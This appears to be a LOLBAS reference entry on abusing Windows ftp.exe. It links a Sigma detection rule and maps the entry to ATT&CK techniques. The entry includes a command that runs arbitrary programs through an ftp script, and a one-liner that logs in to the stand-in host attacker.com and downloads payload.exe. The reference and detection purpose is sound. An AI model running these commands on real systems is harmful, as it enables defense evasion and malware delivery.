.. /Ftp.exe
Star

A binary designed for connecting to FTP servers

Paths:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Resources:

Acknowledgements:

Casey Smith (@subtee)
BennyHusted ()
Amit Serper (@0xAmit)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml
IOC: cmd /c as child process of ftp.exe

Execute

Executes the commands you put inside the text file.
```
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
```
Use case
Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

Privileges required
User

Operating systems
Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1202

Download

Download
```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```
Use case
Spawn new process using ftp.exe. Ftp.exe downloads the binary.

Privileges required
User

Operating systems
Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105